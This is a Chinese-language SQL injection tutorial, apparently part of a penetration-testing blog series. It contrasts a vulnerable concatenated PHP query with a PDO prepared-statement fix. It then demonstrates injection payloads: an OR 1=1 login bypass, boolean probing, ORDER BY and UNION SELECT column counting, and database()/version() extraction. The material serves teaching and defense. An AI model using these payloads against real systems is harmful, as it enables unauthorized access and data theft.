本系列课程,将重点讲解渗透测试必备技能之数据库安全审计专业知识中的SQL注入部分。
本文章仅提供学习,切勿将其用于不法手段!
提到数据库安全,提到数据安全审计,就不得不说一下,SQL注入攻击的相关知识点。
SQL注入漏洞存在的根本原因,莫过于程序员从事编程工作时,发生了思维错误。
上一篇文章中,我们提到过,人类的大脑是存在安全漏洞的!
SQL注入漏洞产生的原因,还是处在人类思维的安全漏洞之上。
软件项目的代码,是由人类写出的。
如果人类的思维,存在安全漏洞,或者风险缺陷,则必然会产生相关领域中的安全漏洞。
查询一条数据,我们编写数据库查询模块时,可以采用很多的方式,不同的方式,安全程度不同。
$_sql = "SELECT * FROM USER WHERE USER_NAME='".$_user_name."' and user_password='".$_user_password."';";
上面这钟SQL语句的合成方式,是非常危险的!
在从事代码审计行为中,当我们发现这样的风险代码时,那么通常意味着,相关代码存在SQL注入漏洞。
更好的方式,是采用 PDO /JDO /ADO 等方式。
下面,以 PDO 方式为例。
$_pdo->prepare("SELECT * FROM USER WHERE USER_NAME=:user_name AND USER_PASSWORD=:user_password ;");
$_pdo->bindParam(":user_name",$_user_name,\PDO::PARAM_STR);
$_pdo->bindParam(":user_password",$_user_password,\PDO::PARAM_STR);
在一般情况下,使用PDO提供的预处理语句(prepared statements)和参数绑定(parameter binding)功能,可以非常方便地实现SQL注入攻击的有效防御。
我们来简单讲一下,复杂度相对低一些的SQL注入例子。
1、使用单引号、逻辑或运算、注释省略符来实现SQL语句的语义改变。
存在问题的SQL查询代码
$_sql = "SELECT * FROM USER WHERE USER_NAME='".$_user_name."' and user_password='".$_user_password."';";
正常的SQL查询语句
SELECT * FROM USER WHERE USER_NAME='admin' AND USER_PASSWORD='admin' ;
不正常的SQL查询语句
SELECT * FROM USER WHERE USER_NAME='admin' OR 1=1 -- AND USER_PASSWORD='admin' ;
我们使用了单引号 ' 来截断了SQL查询语句原始的含义!
我们使用了运算符 OR 来进行了SQL查询语句中的逻辑或运算!
我们使用了 1=1 来保证 逻辑或运算的值永远为真!
我们使用了 -- 来终止后续SQL代码的执行!
2、通过改变SQL语句运算条件,并观察SQL语句执行结果的方式,来分析目标软件代码是否存在SQL注入漏洞。
SELECT * FROM USER WHERE USER_NAME='admin' AND 1=1 -- AND USER_PASSWORD='admin' ;
SELECT * FROM USER WHERE USER_NAME='admin' AND 1<>1 -- AND USER_PASSWORD='admin' ;
在一般情况下,如果两条SQL语句的执行结果不同,则通常意味着存在SQL注入漏洞。
3、通过使用 order by 语句并通过报错结果来分析当前数据表中存在多少个字段。
SELECT * FROM USER WHERE USER_NAME='admin' OR 1=1 ORDER BY 10 -- AND USER_PASSWORD='admin' ;
SELECT * FROM USER WHERE USER_NAME='admin' OR 1=1 ORDER BY 9 -- AND USER_PASSWORD='admin' ;
…………………………………………………………………………………………………………
SELECT * FROM USER WHERE USER_NAME='admin' OR 1=1 ORDER BY 2 -- AND USER_PASSWORD='admin' ;
SELECT * FROM USER WHERE USER_NAME='admin' OR 1=1 ORDER BY 1 -- AND USER_PASSWORD='admin' ;
通过改变 order by 语句条件的方式,可以在一定程度上分析出 当前数据表中的字段数量。
我们继续再来观察下面的SQL语句
SELECT * FROM USER WHERE USER_NAME='admin' AND 1<>1 UNION SELECT 1 -- AND USER_PASSWORD='admin' ;
SELECT * FROM USER WHERE USER_NAME='admin' AND 1<>1 UNION SELECT 1,2 -- AND USER_PASSWORD='admin' ;
SELECT * FROM USER WHERE USER_NAME='admin' AND 1<>1 UNION SELECT 1,2,3 -- AND USER_PASSWORD='admin' ;
SELECT * FROM USER WHERE USER_NAME='admin' AND 1<>1 UNION SELECT 1,2,3,4 -- AND USER_PASSWORD='admin' ;
SELECT * FROM USER WHERE USER_NAME='admin' AND 1<>1 UNION SELECT 1,2,3,4,5 -- AND USER_PASSWORD='admin' ;
SELECT * FROM USER WHERE USER_NAME='admin' AND 1<>1 UNION SELECT 1,2,3,4,5,6 -- AND USER_PASSWORD='admin' ;
以此类推,通过调整 UNION SELECT 之后的联合查询列数,可以分析出 SELECT * 语句查询出的数据列数量,在我们并不知道SQL查询语句的查询列数量时,这个方法是很有帮助的。
我们再来看下面的SQL语句,如果我们已经知道了SELECT 的列查询数量时,我们可以构造特定的语句,去查询相应的数据库信息,这对于我们下一步进行DB渗透工作,是非常有用处的。
SELECT USER_NAME,USER_PASSWORD FROM USER WHERE USER_NAME='admin' AND 1<>1 UNION SELECT database(),version() -- AND USER_PASSWORD='admin' ;
上面的SQL语句,可以让我们查询到当前连接的数据库表的数据库名称,以及数据库服务器的相应类型与版本信息(此类信息,有助于我们进行根据数据库服务器类型及相应版本特征去寻找特定的安全漏洞信息)。
请关注下一篇,白帽黑客养成手记之数据库安全审计基础SQL注入部分(三)